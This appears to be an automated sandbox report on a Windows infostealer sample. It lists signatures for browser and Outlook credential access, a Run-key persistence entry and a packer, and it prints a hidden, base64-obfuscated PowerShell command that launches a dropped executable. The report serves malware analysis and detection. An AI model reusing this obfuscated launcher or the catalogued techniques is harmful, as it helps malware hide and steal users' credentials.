Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 14:22
General
- Target b4a3fbc0f286f44bd854033fc15abebe2206344cc930ff715ae115047d963a09.exe
- Size 1.2MB
- Sample260910-rpnvnavcqa
- SHA256 b4a3fbc0f286f44bd854033fc15abebe2206344cc930ff715ae115047d963a09
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\b4a3fbc0f286f44bd854033fc15abebe2206344cc930ff715ae115047d963a09.exe"C:\Users\Admin\AppData\Local\Temp\b4a3fbc0f286f44bd854033fc15abebe2206344cc930ff715ae115047d963a09.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\b4a3fbc0f286f44bd854033fc15abebe2206344cc930ff715ae115047d963a09.exe"C:\Users\Admin\AppData\Local\Temp\b4a3fbc0f286f44bd854033fc15abebe2206344cc930ff715ae115047d963a09.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\b4a3fbc0f286f44bd854033fc15abebe2206344cc930ff715ae115047d963a09.exe"C:\Users\Admin\AppData\Local\Temp\b4a3fbc0f286f44bd854033fc15abebe2206344cc930ff715ae115047d963a09.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$0ucjt3=3087;$yolpu3=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$pywcdp=[System.Environment]::TickCount;$0lxljr=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXElpLmV4ZQ==')));$jfnri1=$env:COMPUTERNAME;& $yolpu3 -FilePath $0lxljr"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Ii.exe"C:\Users\Admin\AppData\Roaming\Ii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Ii.exe"C:\Users\Admin\AppData\Roaming\Ii.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
b4a3fbc0f286f44bd854033fc15abebe2206344cc930ff715ae115047d963a09.exe.log
__PSScriptPolicyTest_e3q5tad0.rhg.ps1
Ii.exe
memory/1148-16-0x0000000005050000-0x00000000050B6000-memory.dmp
memory/1148-15-0x0000000005040000-0x0000000005050000-memory.dmp
memory/1148-36-0x0000000005040000-0x0000000005050000-memory.dmp
memory/1148-34-0x0000000006500000-0x0000000006550000-memory.dmp
memory/1148-33-0x0000000006430000-0x00000000064A6000-memory.dmp
memory/1148-32-0x0000000006560000-0x0000000006722000-memory.dmp
memory/1148-12-0x0000000000400000-0x000000000046A000-memory.dmp
memory/3916-4-0x0000000005830000-0x000000000583A000-memory.dmp
memory/3916-2-0x0000000005690000-0x0000000005722000-memory.dmp
memory/3916-0-0x0000000000CC0000-0x0000000000DEE000-memory.dmp
memory/3916-1-0x0000000005CF0000-0x0000000006294000-memory.dmp
memory/3916-3-0x0000000005890000-0x00000000058A0000-memory.dmp
memory/3916-8-0x0000000007860000-0x0000000007968000-memory.dmp
memory/3916-7-0x00000000077C0000-0x000000000785C000-memory.dmp
memory/3916-6-0x0000000005890000-0x00000000058A0000-memory.dmp
memory/3916-5-0x0000000005A80000-0x0000000005A94000-memory.dmp
memory/4632-31-0x00000000059B0000-0x00000000059C4000-memory.dmp
memory/5000-18-0x0000028D1A260000-0x0000028D1A270000-memory.dmp
memory/5000-17-0x0000028D1A260000-0x0000028D1A270000-memory.dmp
memory/5000-24-0x0000028D7FF50000-0x0000028D7FF72000-memory.dmp